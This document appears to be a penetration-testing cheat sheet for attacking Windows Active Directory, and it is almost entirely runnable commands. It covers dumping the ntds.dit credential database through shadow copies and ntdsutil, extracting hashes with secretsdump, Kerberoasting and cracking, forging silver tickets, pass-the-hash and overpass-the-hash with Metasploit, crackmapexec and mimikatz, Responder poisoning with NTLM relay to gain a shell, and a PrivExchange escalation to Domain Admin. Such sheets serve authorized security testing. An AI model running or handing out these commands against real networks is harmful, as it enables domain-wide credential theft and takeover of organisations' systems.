Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)

Using ndtsutil

C:\
>
ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit

or

ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

Using Vshadow

vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit

You can also use the Nishang script, available at : https://github.com/samratashok/nishang

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\

Using vssadmin

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

Using DiskShadow (a Windows signed binary)

diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes

secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

secretsdump also works remotely

./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

Alternatives - modules

Metasploit modules

windows/gather/credentials/domain_hashdump

PowerSploit module

Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit

CrackMapExec module

Password in AD User comment

enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas: 
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

Using a ticket on Linux

Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME


NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100

PassTheTicket Silver Tickets

Forging a TGS require machine accound password (key) from the KDC

Create a ticket for the service
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

Then use the same steps as a Golden ticket
misc::convert ccache ticket.kirbi
export KRB5CCNAME=/home/user/ticket.ccache
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100

Kerberoast

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket for any domain service with GetUserSPNs. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

Then crack the ticket with hashcat or john

hashcat -m 13100 -a 0 hash.txt crackstation.txt
./john ~/hash.txt --wordlist=rockyou.lst

Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.

use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r  
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

or with crackmapexec
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ... 

or with psexec
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d

or with the builtin Windows RDP and mimikatz
sekurlsa::pth /user:
<
user name
>
 /domain:
<
domain name
>

tlm:
<
the user's ntlm hash
>
 /run:"mstsc.exe /restrictedadmin"

OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash

Using impacket
./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
chmod 600 tgwynn.ccache

also with the AES Key if you have it
./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com


ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist

Capturing and cracking NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

python Responder.py -I eth0

Then crack the hash with hashcat

hashcat -m 5600 -a 0 hash.txt crackstation.txt

NTLMv2 hashes relaying

If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay and get a shell access on the machine.

  1. Open the Responder.conf file and set the value of SMB and HTTP to Off.
  2. Run python RunFinger.py -i IP_Range to detect machine with SMB signing:disabled.
  3. Run `python Responder.py -I < interface_card

andpython MultiRelay.py -t < target_machine_IP

-u ALL` 4. Wait for a shell

Dangerous Built-in Groups Usage

AdminSDHolder

Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()

Trust relationship between domains

nltest /trusted_domains

or

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional

PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange. You need a shell on a user account with a mailbox.

  1. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server.

    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx

# https://github.com/G0ldenGunSec/PowerPriv 
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016

  2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

  3. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    python secretsdump.py xxxxxxxxxx -just-dc

Alternatively you can use the Metasploit module

use auxiliary/scanner/http/exchange_web_server_pushsubscription
